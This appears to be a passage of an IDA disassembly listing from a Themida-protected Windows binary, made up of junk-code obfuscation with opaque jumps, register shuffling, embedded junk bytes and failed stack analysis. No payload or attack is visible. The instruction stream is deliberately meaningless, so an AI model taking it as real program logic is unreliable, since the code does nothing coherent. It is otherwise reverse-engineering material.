; START OF FUNCTION CHUNK FOR sub_60E173
loc_60E227: ; CODE XREF: sub_60E173+A0j
pop ecx
pop esi
add bx, 823Ah
jnz loc_60E236
mov bh, 53h
loc_60E236: ; CODE XREF: sub_60E173+BBj
jno loc_60E259
jp loc_60E259
jmp loc_60E259
; END OF FUNCTION CHUNK FOR sub_60E173
; ---------------------------------------------------------------------------
db 6
dd 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh
byte_60E258 db 38h ; CODE XREF: sub_60E2C5+Bj
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60E173
loc_60E259: ; CODE XREF: sub_60E173:loc_60E236j
; sub_60E173+C9j ...
jb loc_60E260
cld
loc_60E260: ; CODE XREF: sub_60E173:loc_60E259j
adc edi, 3074A9DFh
movsx eax, ax
jbe loc_60E271
mov edi, esi
loc_60E271: ; CODE XREF: sub_60E173+F6j
jnp $+6
pusha
pusha
mov ecx, 7C27CFECh
popa
jmp loc_60E289
; END OF FUNCTION CHUNK FOR sub_60E173
; ---------------------------------------------------------------------------
dd 251F2509h
; ---------------------------------------------------------------------------
push ebp
; START OF FUNCTION CHUNK FOR sub_60E173
loc_60E289: ; CODE XREF: sub_60E173+10Cj
popa
push edi
mov ebx, 37B1D8A0h
pop esi
movsx edx, bx
push edx
mov edx, ebx
pop edx
sbb ecx, 0F957721h
xor esi, 2173B572h
mov eax, 7C3B2C2Bh
and ax, 797Fh
adc edx, 4F56F45Bh
mov ebx, 2FD8CF81h
call sub_60E2C5
; END OF FUNCTION CHUNK FOR sub_60E173
; ---------------------------------------------------------------------------
dw 0FAFEh
; ---------------------------------------------------------------------------
push eax
pop ebp
mov dh, 27h
wait
; =============== S U B R O U T I N E =======================================
sub_60E2C5 proc near ; CODE XREF: sub_60E173+146p
call sub_60E2D2
stosd
cmp eax, 0DD4D1762h
loop near ptr byte_60E258
sub_60E2C5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60E2D2 proc near ; CODE XREF: sub_60E2C5p
mov bh, 1Fh
pop ecx
pop edi
mov ebx, eax
cmc
pusha
jbe loc_60E2E6
and eax, 4E549BA8h
loc_60E2E6: ; CODE XREF: sub_60E2D2+8j
jmp loc_60E2F3
; ---------------------------------------------------------------------------
xor al, 0ABh
pushf
or ebx, [edx]
add [ecx+edx*2], ecx
loc_60E2F3: ; CODE XREF: sub_60E2D2:loc_60E2E6j
popa
sub ax, 4CF0h
mov ax, 0F045h
mov bh, 0B6h
call sub_60E310
xor eax, 7B9E0E03h
wait
rol esp, cl
mov bl, 13h
push ss
inc ebx
sub_60E2D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60E310 proc near ; CODE XREF: sub_60E2D2+2Dp
adc dl, 0C9h
pop esi
mov ecx, 3B84E0F5h
mov bx, 8066h
or bl, 0Eh
jmp loc_60E331
; ---------------------------------------------------------------------------
db 29h, 77h, 0D7h
dd 1EAFD77Eh, 0C58C8394h
db 22h
; ---------------------------------------------------------------------------
loc_60E331: ; CODE XREF: sub_60E310+10j
mov ecx, eax
pusha
push edx
sub cl, 26h
pop ecx
call near ptr loc_60E342+1
dec ebx
push edi
and al, 0C1h
loc_60E342: ; CODE XREF: sub_60E310+29p
test al, 60h
sub_60E310 endp ; sp-analysis failed
popa
pop eax
popa
mov edi, 0E2BFD1Dh
jmp loc_60E357
; ---------------------------------------------------------------------------
db 2Ch, 0D4h, 0
db 96h, 0F0h, 27h
; ---------------------------------------------------------------------------
loc_60E357: ; CODE XREF: Themida_:0060E34Cj
mov esi, ebx
jbe loc_60E367
jl loc_60E367
pusha
popa
loc_60E367: ; CODE XREF: Themida_:0060E359j
; Themida_:0060E35Fj
cld
jle loc_60E373
sbb cx, 0EF6Ch
loc_60E373: ; CODE XREF: Themida_:0060E368j
jns loc_60E389
call near ptr sub_60E386
cmp esp, [esi+1CCB48E3h]
clc
; ---------------------------------------------------------------------------
db 0FEh
; =============== S U B R O U T I N E =======================================
sub_60E386 proc far ; CODE XREF: Themida_:0060E379p
push ecx
pop edi
pop edi
loc_60E389: ; CODE XREF: Themida_:loc_60E373j
movzx edi, cx
mov si, 0EB94h
stc
jmp loc_60E39B
; ---------------------------------------------------------------------------
dw 0D580h
; ---------------------------------------------------------------------------
mov ah, 84h
stosd
loc_60E39B: ; CODE XREF: sub_60E386+Bj
jmp loc_60E3A8
; ---------------------------------------------------------------------------
push ecx
retf 0C14Bh
; ---------------------------------------------------------------------------
dd 0EC78FC85h
; ---------------------------------------------------------------------------
loc_60E3A8: ; CODE XREF: sub_60E386:loc_60E39Bj
jno loc_60E3B6
jnp loc_60E3B6
mov bl, ch
loc_60E3B6: ; CODE XREF: sub_60E386:loc_60E3A8j
; sub_60E386+28j
pusha
adc ch, 8Ch
push ebx
pop eax
popa
mov edx, edi
mov ax, 81ACh
mov si, 0A2Dh
mov eax, 64C94D18h
cmc
mov ebx, 7AB356E4h
loc_60E3D2: ; CODE XREF: Themida_:0060E43Bj
mov dx, cx
mov esi, 606C3E21h
mov eax, esi
and ch, 9Ah
jmp loc_60E3F4
; ---------------------------------------------------------------------------
dd 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h
; ---------------------------------------------------------------------------
loc_60E3F4: ; CODE XREF: sub_60E386+59j
mov ecx, 0DDFA318h
jbe loc_60E414
jmp loc_60E414
; ---------------------------------------------------------------------------
dd 291E2A74h, 9D451378h, 38B54071h, 0C2F6F9B4h
; ---------------------------------------------------------------------------
loc_60E414: ; CODE XREF: sub_60E386+73j
; sub_60E386+79j
add bh, 21h
push ebx
push ebx
call near ptr loc_60E428+3
and esi, esi
cmp dl, dl
shr dword ptr [ebp-2E09299Ah], cl
loc_60E428: ; CODE XREF: sub_60E386+93p
sub dword ptr [ebx], 585B5F45h
sub_60E386 endp ; sp-analysis failed
pusha
sbb edx, 4079841Ch
push ecx
call near ptr sub_60E44C
loope loc_60E3D2
repne dec eax
pusha
adc eax, esi
call near ptr 85BF8E14h
retn
; ---------------------------------------------------------------------------
dd 92A877E4h
; =============== S U B R O U T I N E =======================================
sub_60E44C proc far ; CODE XREF: Themida_:0060E436p
pop esi
pop eax
popa
push ecx
sub cx, 0FFh
pop edx
sub bx, 0A2C7h
jmp loc_60E469
; ---------------------------------------------------------------------------
mov edx, 83E112D6h
retf
; ---------------------------------------------------------------------------
dw 0E889h
db 0BCh
; ---------------------------------------------------------------------------
loc_60E469: ; CODE XREF: sub_60E44C+Fj
jp loc_60E477
jz loc_60E477
mov bl, 6Eh
loc_60E477: ; CODE XREF: sub_60E44C:loc_60E469j
; sub_60E44C+23j
jmp loc_60E490
; ---------------------------------------------------------------------------
dd 0F39DBFDBh, 8C7609F3h, 2F6C0AEEh, 21D045ACh, 86A0161Eh
; ---------------------------------------------------------------------------
loc_60E490: ; CODE XREF: sub_60E44C:loc_60E477j
jg loc_60E49B
xor bx, 0E889h
loc_60E49B: ; CODE XREF: sub_60E44C:loc_60E490j
cld
cmc
ja $+6
mov bx, 0C6D0h
jp loc_60E4B3
or esi, 44410C47h
loc_60E4B3: ; CODE XREF: sub_60E44C+5Bj
movzx eax, bx
jmp loc_60E4C5
; ---------------------------------------------------------------------------
db 0FEh
dd 0D922DCDBh, 1C54A250h
db 13h
; ---------------------------------------------------------------------------
loc_60E4C5: ; CODE XREF: sub_60E44C+6Aj
pusha
stc
call sub_60E4D2
inc esi
inc esi
in eax, dx
adc ebp, [eax-39h]
sub_60E44C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60E4D2 proc near ; CODE XREF: sub_60E44C+7Bp
pop ecx
popa
mov dx, 48E0h
mov bx, 0B16Dh
mov si, di
mov di, si
mov edi, 71323F5Bh
jb loc_60E4F2
adc dx, 0E5C3h
loc_60E4F2: ; CODE XREF: sub_60E4D2+15j
mov esi, edi
jmp loc_60E50A
; ---------------------------------------------------------------------------
db 17h, 27h, 62h
dd 0A6F8B429h, 62D3B952h, 2AF9005Dh
db 21h, 70h
; ---------------------------------------------------------------------------
loc_60E50A: ; CODE XREF: sub_60E4D2+22j
jle loc_60E515
mov esi, 5F24B7FCh
loc_60E515: ; CODE XREF: sub_60E4D2:loc_60E50Aj
mov ebx, edx
mov esi, ecx
mov eax, 1DAFCF98h
mov edi, eax
mov ax, 83A6h
mov dl, al
jmp loc_60E53B
; ---------------------------------------------------------------------------
db 0D6h
dd 5E306AC1h, 1934D9CEh, 24233FDFh
db 0Dh, 0E3h, 0B9h
; ---------------------------------------------------------------------------
loc_60E53B: ; CODE XREF: sub_60E4D2+54j
cld
mov bx, 0CAB8h
call loc_60E54E
pop di
push esp
cmp esp, [ecx]
pop ss
add bl, [edi-30h]
sub_60E4D2 endp ; sp-analysis failed
loc_60E54E: ; CODE XREF: sub_60E4D2+6Ep
jg $+6
pop ecx
mov edx, ecx
jle loc_60E560
movzx esi, si
loc_60E560: ; CODE XREF: Themida_:0060E557j
cmc
jmp loc_60E56B
; ---------------------------------------------------------------------------
dw 0E6EEh
; ---------------------------------------------------------------------------
inc edi
pop ds
pop ss
loc_60E56B: ; CODE XREF: Themida_:0060E561j
stc
jmp loc_60E581
; ---------------------------------------------------------------------------
db 96h, 39h, 2Eh
dd 0D9E99747h, 70BA460Dh, 3721DBA9h
db 0F6h
; ---------------------------------------------------------------------------
loc_60E581: ; CODE XREF: Themida_:0060E56Cj
cld
mov esi, 481F543Dh
and ebx, 325B0018h
pusha
push esi
jmp loc_60E5A1
; ---------------------------------------------------------------------------
dd 3CEA843h, 71A0D7D9h, 6C25C4EDh
db 90h
; ---------------------------------------------------------------------------
loc_60E5A1: ; CODE XREF: Themida_:0060E58Fj
pop edx
jz loc_60E5AD
mov esi, 35F872D9h
loc_60E5AD: ; CODE XREF: Themida_:0060E5A2j
popa
mov esi, edx
jmp loc_60E5C8
; ---------------------------------------------------------------------------
db 3Fh, 38h, 7Eh
dd 0E7D0DBB2h, 3B2BEF9Bh, 0BEE73D4Eh, 43840C5Eh
; ---------------------------------------------------------------------------
loc_60E5C8: ; CODE XREF: Themida_:0060E5B0j
stc
push edx
movsx ebx, dx
pop edx
mov bx, 618Dh
and cx, 0F69Dh
js loc_60E5E5
push edi
and eax, 6BAC6E4Eh
pop eax
loc_60E5E5: ; CODE XREF: Themida_:0060E5D7j
sbb edx, 19A59247h
call loc_60E5FD
in eax, dx
xor eax, 91656871h ; CODE XREF: Themida_:0060E5F8j
int 58h ; IRQ8 relocated by DESQview 2.26+
jmp short near ptr loc_60E5F1+2
; ---------------------------------------------------------------------------
mov bl, 36h
push ds
loc_60E5FD: ; CODE XREF: Themida_:0060E5EBp
mov ecx, 2DDA2F56h
pop esi
adc cl, 8Dh
xor edx, 4FB35B92h
jge loc_60E62A
call sub_60E626
int 0D3h ; used by BASIC while in interpreter
; ---------------------------------------------------------------------------
db 36h, 0FEh, 0F6h
; ---------------------------------------------------------------------------
test eax, 0D2711F11h
sbb [edi], cl
mov ah, 0F6h
push edi
; =============== S U B R O U T I N E =======================================
sub_60E626 proc near ; CODE XREF: Themida_:0060E612p
add bh, 7
pop esi
loc_60E62A: ; CODE XREF: Themida_:0060E60Cj
mov ecx, eax
sbb esi, 6FC2DA42h
jz loc_60E63D
adc si, 81EAh
loc_60E63D: ; CODE XREF: sub_60E626+Cj
movzx esi, si
mov edi, 17824941h
pusha
ja loc_60E652
sbb ebx, 2B3C1A3h
loc_60E652: ; CODE XREF: sub_60E626+20j
push ecx
mov ebx, 386EF8F0h
pop ebx
popa
add edi, 6AB0AC66h
mov dx, 3FA5h
mov eax, esi
movzx edi, si
call sub_60E681
retn
sub_60E626 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg edi, [ebx-3F7975A5h]
add ah, [edx-56062EE2h]
retn 0A3E6h
; ---------------------------------------------------------------------------
dw 39F3h
db 0A1h
; =============== S U B R O U T I N E =======================================
sub_60E681 proc near ; CODE XREF: sub_60E626+43p
; FUNCTION CHUNK AT 0060E77F SIZE 00000007 BYTES
mov ch, 10h
pop eax
pusha
push eax
pusha
popa
pop edx
movzx esi, si
popa
pusha
adc cl, 0F2h
pusha
and dl, 47h
popa
popa
xor edi, 725C68FAh
jnp loc_60E6A6
mov si, dx
loc_60E6A6: ; CODE XREF: sub_60E681+1Cj
mov bh, 48h
movsx edx, di
jmp loc_60E6C2
; ---------------------------------------------------------------------------
dd 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h
db 0ACh, 0FFh
; ---------------------------------------------------------------------------
loc_60E6C2: ; CODE XREF: sub_60E681+2Aj
push eax
mov ch, 6
pop edx
mov ah, 5Ch
ja loc_60E6D7
jo loc_60E6D7
movzx esi, dx
loc_60E6D7: ; CODE XREF: sub_60E681+47j
; sub_60E681+4Dj
mov cl, 42h
jo loc_60E6E2
movzx edi, si
loc_60E6E2: ; CODE XREF: sub_60E681+58j
mov cx, 14B3h
add esi, 239BAB01h
pusha
clc
mov di, 0C030h
popa
jmp loc_60E706
; ---------------------------------------------------------------------------
dd 0D914668Bh, 92364F82h, 16753170h
db 0CDh, 17h
; ---------------------------------------------------------------------------
loc_60E706: ; CODE XREF: sub_60E681+72j
pusha
mov edx, ecx
jmp loc_60E71D
; ---------------------------------------------------------------------------
dw 11C9h
dd 0BB0FE53Fh, 81227403h, 0A54F4796h
db 0F7h
; ---------------------------------------------------------------------------
loc_60E71D: ; CODE XREF: sub_60E681+88j
popa
jnz loc_60E725
cld
loc_60E725: ; CODE XREF: sub_60E681+9Dj
jge loc_60E72D
mov ah, 3Ah
loc_60E72D: ; CODE XREF: sub_60E681:loc_60E725j
jo loc_60E738
mov ebx, 10EB2ACAh
loc_60E738: ; CODE XREF: sub_60E681:loc_60E72Dj
mov edi, 62CDD7F7h
mov edx, 49C19294h
ja loc_60E749
stc
loc_60E749: ; CODE XREF: sub_60E681+C1j
mov dx, ax
call near ptr loc_60E763+1
aas
mov eax, 0F375FC30h
imul eax, esp, -75h
push ebx
cmpsd
fistp qword ptr [ebp+27h]
test al, 0A2h
jl short loc_60E77F
loc_60E763: ; CODE XREF: sub_60E681+CBp
mov ebx, 13E9h
sub_60E681 endp ; sp-analysis failed
add [edi], cl
jmp far ptr 7B47h:429E17ADh
; ---------------------------------------------------------------------------
db 0F2h, 3Eh, 6Ch
dd 0AC983703h, 0BC35E67Ch
db 58h, 66h, 81h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60E681
loc_60E77F: ; CODE XREF: sub_60E681+E0j
jmp far ptr 0C78Bh:1BB23B97h
; END OF FUNCTION CHUNK FOR sub_60E681
; ---------------------------------------------------------------------------
jg loc_60E790
push ecx
mov ebx, eax
pop ebx
loc_60E790: ; CODE XREF: Themida_:0060E786j
pusha
mov cx, 9EF1h
mov eax, edx
popa
stc
clc
mov si, 0F0BDh
jmp loc_60E7A8
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
mov ch, 0F2h
test al, 47h
loc_60E7A8: ; CODE XREF: Themida_:0060E79Ej
adc eax, 6776537Eh
jmp loc_60E7C6
; ---------------------------------------------------------------------------
db 78h
dd 464AC0FEh, 1A3FC0F9h, 7EA890Dh, 0E43F8A8Ah
; ---------------------------------------------------------------------------
jnb short loc_60E820
loc_60E7C6: ; CODE XREF: Themida_:0060E7AEj
jmp loc_60E7D6
; ---------------------------------------------------------------------------
db 0EAh
dd 9910A70Eh, 0A91CAABDh
db 0CFh, 85h
; ---------------------------------------------------------------------------
loc_60E7D6: ; CODE XREF: Themida_:loc_60E7C6j
jmp loc_60E7ED
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0CCh
db 2Ch, 0A1h, 0ACh
dd 8310D1F7h, 917B3C28h, 0BFCD4E8Bh
; ---------------------------------------------------------------------------
pop ds
loc_60E7ED: ; CODE XREF: Themida_:loc_60E7D6j
adc eax, 0C14A8C4h
mov ecx, 33C9BD54h
adc esi, 350440E2h
mov eax, 5DD2E938h
mov ax, 5407h
movsx edx, di
mov ecx, 34288D50h
jno loc_60E818
movsx esi, cx
loc_60E818: ; CODE XREF: Themida_:0060E80Fj
jmp loc_60E82E
; ---------------------------------------------------------------------------
and [edx], cl
push cs
loc_60E820: ; CODE XREF: Themida_:0060E7C4j
xchg ebx, [esp+edx*8]
xor [eax], bl
fstp st(7)
adc eax, [edx+4D264B51h]
; ---------------------------------------------------------------------------
db 0F6h
; ---------------------------------------------------------------------------
loc_60E82E: ; CODE XREF: Themida_:loc_60E818j
cmc
jg loc_60E84D
jmp loc_60E84D
; ---------------------------------------------------------------------------
dw 0B2Ch
dd 4558870Ah, 0FDE56534h, 0CD196237h, 0ABAD3650h
; ---------------------------------------------------------------------------
pop ss
loc_60E84D: ; CODE XREF: Themida_:0060E82Fj
; Themida_:0060E835j
sub eax, 586396CDh
mov eax, 32776FBh
and bx, 0C24Dh
pusha
push edi
mov ecx, eax
pop ebx
sbb dx, 0DC4Dh
popa
jg loc_60E879
jb loc_60E879
mov ebx, 6A8FCC28h
loc_60E879: ; CODE XREF: Themida_:0060E868j
; Themida_:0060E86Ej
mov ebx, eax
clc
pusha
mov eax, 1F9ADF92h
popa
or cx, 0F202h
jz loc_60E892
push edi
mov cl, 6Eh
pop edx
loc_60E892: ; CODE XREF: Themida_:0060E888j
mov eax, 0A97366Bh
mov bx, cx
movsx eax, si
jmp loc_60E8B6
; ---------------------------------------------------------------------------
dw 6FE5h
dd 0CC5063E4h, 68FAE62Bh, 41C83024h, 0C8E699DBh
; ---------------------------------------------------------------------------
cmpsd
cli
loc_60E8B6: ; CODE XREF: Themida_:0060E89Dj
mov edi, 9140F9Fh
pusha
mov eax, 50BF52BFh
jmp loc_60E8D4
; ---------------------------------------------------------------------------
dw 8D2Bh
dd 31FF77C1h, 53CCF8AAh, 1FA1D196h
; ---------------------------------------------------------------------------
loc_60E8D4: ; CODE XREF: Themida_:0060E8C1j
popa
xor ax, 0C76Ah
jb loc_60E8F1
call sub_60E8F0
; ---------------------------------------------------------------------------
db 39h, 0EEh, 8Dh
dd 0E1FAE9C6h, 89EB885Bh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_60E8F0 proc near ; CODE XREF: Themida_:0060E8E0p
pop ebx
loc_60E8F1: ; CODE XREF: Themida_:0060E8DAj
mov ebx, eax
sbb dx, 35B4h
jmp loc_60E909
; ---------------------------------------------------------------------------
aaa
fdivr qword ptr [esi-72h]
and esp, ebp
fisub word ptr [eax]
sub al, 95h
pop ds
xchg eax, ebp
loc_60E909: ; CODE XREF: sub_60E8F0+8j
pusha
jg $+6
popa
pusha
jmp loc_60E928
; ---------------------------------------------------------------------------
db 73h
dd 84678A42h, 0F6F5E6BCh, 9E440AB6h, 850F4F51h
; ---------------------------------------------------------------------------
loc_60E928: ; CODE XREF: sub_60E8F0+22j
and edx, 4EC95C15h
popa
mov bh, 7Eh
mov ax, 0D4CFh
jg loc_60E93E
movzx ebx, cx
loc_60E93E: ; CODE XREF: sub_60E8F0+45j
call loc_60E94F
sub al, 72h
jmp far ptr 0D77Ch:8B4FAD12h
sub_60E8F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0EDh, 1Ah, 93h
; ---------------------------------------------------------------------------
loc_60E94F: ; CODE XREF: sub_60E8F0:loc_60E93Ep
pop ecx
and bl, 0E3h
call sub_60E96A
inc ebx
; ---------------------------------------------------------------------------
db 8Fh, 66h, 0A0h
dd 8080E576h, 0AB84B4D5h, 0FE7DB4CCh
db 0F3h, 2Ah
; =============== S U B R O U T I N E =======================================
sub_60E96A proc near ; CODE XREF: Themida_:0060E953p
mov dl, 0CBh
pop ebx
jp loc_60E975
mov ch, bl
loc_60E975: ; CODE XREF: sub_60E96A+3j
mov si, ax
js loc_60E984
adc eax, 2E97C4A4h
loc_60E984: ; CODE XREF: sub_60E96A+Ej
adc si, 4B2Eh
call near ptr loc_60E993+1
sbb [ebx+ebx], dl
aam 0E1h
loc_60E993: ; CODE XREF: sub_60E96A+1Fp
sub eax, 13E8h
sub_60E96A endp ; sp-analysis failed
add [edx+73C8321Bh], cl
jle short near ptr loc_60E9F9+2
outsd
cmp ah, [ecx-37h]
push cs
test dh, ch
mov esp, 24DC85E1h
jmp loc_60E9BC
; ---------------------------------------------------------------------------
db 0CFh, 18h, 62h
dd 0B25D74E4h, 0F42F84F8h
; ---------------------------------------------------------------------------
loc_60E9BC: ; CODE XREF: Themida_:0060E9ACj
pop edx
pop edx
mov eax, 399EADD0h
mov cx, dx
jp loc_60E9CD
cmc
loc_60E9CD: ; CODE XREF: Themida_:0060E9C6j
jnb loc_60E9D8
push edi
movzx esi, di
pop edx
loc_60E9D8: ; CODE XREF: Themida_:loc_60E9CDj
mov bx, 54A6h
cmc
push eax
jmp loc_60E9F7
; ---------------------------------------------------------------------------
db 2Fh
dd 35496959h, 26C94935h, 0A01AC8E3h, 231C79Ah
db 69h, 8Ch, 4Bh
; ---------------------------------------------------------------------------
loc_60E9F7: ; CODE XREF: Themida_:0060E9DEj
pop edi
push ecx
loc_60E9F9: ; CODE XREF: Themida_:0060E99Ej
or bx, 442Fh
pop edi
jmp loc_60EA12
; ---------------------------------------------------------------------------
dd 0F14D03A2h, 0EE9D9042h, 0B2EA12E9h
; ---------------------------------------------------------------------------
scasd
inc ebx
loc_60EA12: ; CODE XREF: Themida_:0060E9FFj
or dx, 0AC32h
mov edi, ebx
movzx eax, dx
mov bx, cx
push edx
movsx ebx, dx
pop esi
mov bx, cx
sub eax, 39B59522h
add si, 8DFCh
mov eax, 1F58DBE2h
jg loc_60EA53
jmp loc_60EA53
; ---------------------------------------------------------------------------
dw 356Fh
dd 778B887Bh, 0A4B60819h, 0B43C1361h
db 0EDh, 89h, 8Ah
; ---------------------------------------------------------------------------
loc_60EA53: ; CODE XREF: Themida_:0060EA37j
; Themida_:0060EA3Dj
jmp loc_60EA69
; ---------------------------------------------------------------------------
db 8Bh, 0DBh
dw 92EBh
dd 120D6DD3h, 69DB7146h, 0CCDC2D2Bh
; ---------------------------------------------------------------------------
xchg eax, edi
loc_60EA69: ; CODE XREF: Themida_:loc_60EA53j
call sub_60EA78
cmp al, 0E6h
jnz short near ptr loc_60EA94+3
rep sbb esp, ebp
adc esp, [eax]
dec ebx
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60EA78 proc near ; CODE XREF: Themida_:loc_60EA69p
jmp sub_60EA8A
sub_60EA78 endp
; ---------------------------------------------------------------------------
db 0DAh, 36h, 37h
dd 0B63C75h, 29D9CD18h
db 0D1h, 52h
; =============== S U B R O U T I N E =======================================
sub_60EA8A proc near ; CODE XREF: sub_60EA78j
pop edi
mov cx, 0FB60h
call near ptr loc_60EA9C+3
loc_60EA94: ; CODE XREF: Themida_:0060EA70j
adc eax, 5F14ACF0h
repne sbb al, dl
loc_60EA9C: ; CODE XREF: sub_60EA8A+5p
cmp [edx-702F7E24h], esi
sub_60EA8A endp ; sp-analysis failed
iret
; ---------------------------------------------------------------------------
sbb edx, [edi+5Eh]
adc esi, 30E374ECh
xor al, 0
mov di, si
jbe loc_60EABB
mov cx, di
loc_60EABB: ; CODE XREF: Themida_:0060EAB2j
mov eax, esi
add di, 60F7h
jmp loc_60EAD5
; ---------------------------------------------------------------------------
db 85h
dd 633BAEA4h, 0EC5E1E99h, 0DB0591EDh
db 0DDh
; ---------------------------------------------------------------------------
loc_60EAD5: ; CODE XREF: Themida_:0060EAC2j
jmp loc_60EAE7
; ---------------------------------------------------------------------------
dw 0E58Ah
dd 0D4193BACh, 51CB2B9Fh
db 52h, 0CAh, 0Eh
; ---------------------------------------------------------------------------
loc_60EAE7: ; CODE XREF: Themida_:loc_60EAD5j
jno loc_60EAFB
call loc_60EAFA
dec ebx
call near ptr 1B721896h
xor ecx, [edx]
loc_60EAFA: ; CODE XREF: Themida_:0060EAEDp
pop esi
loc_60EAFB: ; CODE XREF: Themida_:loc_60EAE7j
jmp loc_60EB05
; ---------------------------------------------------------------------------
mov edi, 800A2AA8h
loc_60EB05: ; CODE XREF: Themida_:loc_60EAFBj
jmp loc_60EB12
; ---------------------------------------------------------------------------
dw 0F823h
dd 0DB4349AFh
db 63h, 0F9h
; ---------------------------------------------------------------------------
loc_60EB12: ; CODE XREF: Themida_:loc_60EB05j
movsx edx, di
and dx, 0EB4Bh
jno loc_60EB2B
jnp loc_60EB2B
mov ecx, 39086647h
loc_60EB2B: ; CODE XREF: Themida_:0060EB1Aj
; Themida_:0060EB20j
jge loc_60EB3E
jmp loc_60EB3E
; ---------------------------------------------------------------------------
dw 8D78h
dd 7C2357A0h
db 8Fh, 19h
; ---------------------------------------------------------------------------
loc_60EB3E: ; CODE XREF: Themida_:loc_60EB2Bj
; Themida_:0060EB31j
call loc_60EB56
adc al, 81h
nop
and byte ptr [eax], 20h
push ds
inc edi
xchg ecx, [edi]
dec ebp
; ---------------------------------------------------------------------------
dw 0D9C5h
dd 0A357C31h
db 1, 9Ch
; ---------------------------------------------------------------------------
loc_60EB56: ; CODE XREF: Themida_:loc_60EB3Ep
movsx eax, si
pop esi
jmp loc_60EB64
; ---------------------------------------------------------------------------
db 0E5h
; ---------------------------------------------------------------------------
pop edx
xor dh, [ecx-11h]
loc_60EB64: ; CODE XREF: Themida_:0060EB5Aj
cld
jo loc_60EB79
call sub_60EB75
dec edi
add al, 0AAh
; ---------------------------------------------------------------------------
db 0DDh
db 0A9h
; =============== S U B R O U T I N E =======================================
sub_60EB75 proc near ; CODE XREF: Themida_:0060EB6Bp
mov di, bx
pop edx
loc_60EB79: ; CODE XREF: Themida_:0060EB65j
mov dh, 0ACh
sub edx, 45DE7CBDh
adc ah, 1Eh
jmp loc_60EB9B
; ---------------------------------------------------------------------------
db 0D4h, 83h, 4Ch
dd 0C0742922h, 69B8FE20h, 335989BAh
; ---------------------------------------------------------------------------
shr byte ptr [ecx], 0BAh
loc_60EB9B: ; CODE XREF: sub_60EB75+Fj
mov cx, dx
push edx
pop edi
clc
jmp loc_60EBB4
; ---------------------------------------------------------------------------
dw 9730h
dd 6E28F558h, 5BAC05D8h, 0C2C4B495h
; ---------------------------------------------------------------------------
loc_60EBB4: ; CODE XREF: sub_60EB75+2Cj
adc ebx, 44E130A1h
adc bh, 0F2h
cld
call sub_60EBD6
adc eax, 0E4B59438h
jno short loc_60EC33
adc [edi-17h], ebx
rcl dword ptr [edx+723DBB51h], 1
icebp
sbb edx, esi
sub_60EB75 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60EBD6 proc near ; CODE XREF: sub_60EB75+49p
pop ecx
mov eax, edx
jmp loc_60EBEE
; ---------------------------------------------------------------------------
dw 500Dh
dd 84CC9BF6h, 0C1043C83h, 0E523CE08h
db 0ABh, 8Fh
; ---------------------------------------------------------------------------
loc_60EBEE: ; CODE XREF: sub_60EBD6+3j
sbb bx, 5C84h
jnp loc_60EC01
jno loc_60EC01
mov ebx, ecx
loc_60EC01: ; CODE XREF: sub_60EBD6+1Dj
; sub_60EBD6+23j
clc
pusha
pusha
push ecx
pop ebx
jmp loc_60EC16
; ---------------------------------------------------------------------------
align 4
xor esp, 221AD20Bh
div dword ptr [edi+65h]
push es
loc_60EC16: ; CODE XREF: sub_60EBD6+30j
popa
popa
cmc
jmp loc_60EC24
; ---------------------------------------------------------------------------
dw 0FEAh
; ---------------------------------------------------------------------------
test byte ptr [eax], 0EDh
xchg eax, ebp
loc_60EC24: ; CODE XREF: sub_60EBD6+43j
jbe loc_60EC2E
mov si, 9524h
loc_60EC2E: ; CODE XREF: sub_60EBD6:loc_60EC24j
jmp loc_60EC3C
; ---------------------------------------------------------------------------
loc_60EC33: ; CODE XREF: sub_60EB75+53j
push edx
iret
; ---------------------------------------------------------------------------
db 0B4h, 36h, 99h
dd 26E23D2Bh
; ---------------------------------------------------------------------------
loc_60EC3C: ; CODE XREF: sub_60EBD6:loc_60EC2Ej
xor si, 4EB7h
mov ebx, edi
push edx
push edi
mov ebx, edx
pop ebx
pop edi
movsx eax, ax
call sub_60EC5B
inc esp
adc edx, [ecx+7D8247F3h]
lodsb
mov bl, 1Bh
sub_60EBD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60EC5B proc near ; CODE XREF: sub_60EBD6+76p
call sub_60EC6C
enterw 0CD27h, 1Eh
stosb
dec dword ptr [edx+6BEC7C92h]
sub_60EC5B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60EC6C proc near ; CODE XREF: sub_60EC5Bp
jl $+6
pop esi
pop ebx
mov bx, 0AB4Dh
jmp loc_60EC8F
; ---------------------------------------------------------------------------
db 0DEh, 7, 0FEh
dd 6A7AF155h, 8357009Bh, 410219A1h
db 0CDh, 88h, 3Dh
; ---------------------------------------------------------------------------
loc_60EC8F: ; CODE XREF: sub_60EC6C+Cj
pusha
jmp loc_60ECA4
; ---------------------------------------------------------------------------
db 8Eh, 0D5h, 12h
dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh
; ---------------------------------------------------------------------------
loc_60ECA4: ; CODE XREF: sub_60EC6C+24j
jmp loc_60ECB0
; ---------------------------------------------------------------------------
db 93h, 65h, 6Ah
dd 43D077FCh
; ---------------------------------------------------------------------------
loc_60ECB0: ; CODE XREF: sub_60EC6C:loc_60ECA4j
popa
pusha
clc
jge loc_60ECC8
jmp loc_60ECC8
; ---------------------------------------------------------------------------
dw 5588h
dd 29B9C5Bh, 45C334BBh
; ---------------------------------------------------------------------------
loc_60ECC8: ; CODE XREF: sub_60EC6C+47j
; sub_60EC6C+4Dj
popa
clc
mov ax, 962Dh
jmp loc_60ECE2
; ---------------------------------------------------------------------------
db 3Eh
dd 8EA04EF4h, 0E2990F33h, 0FAE14BAAh
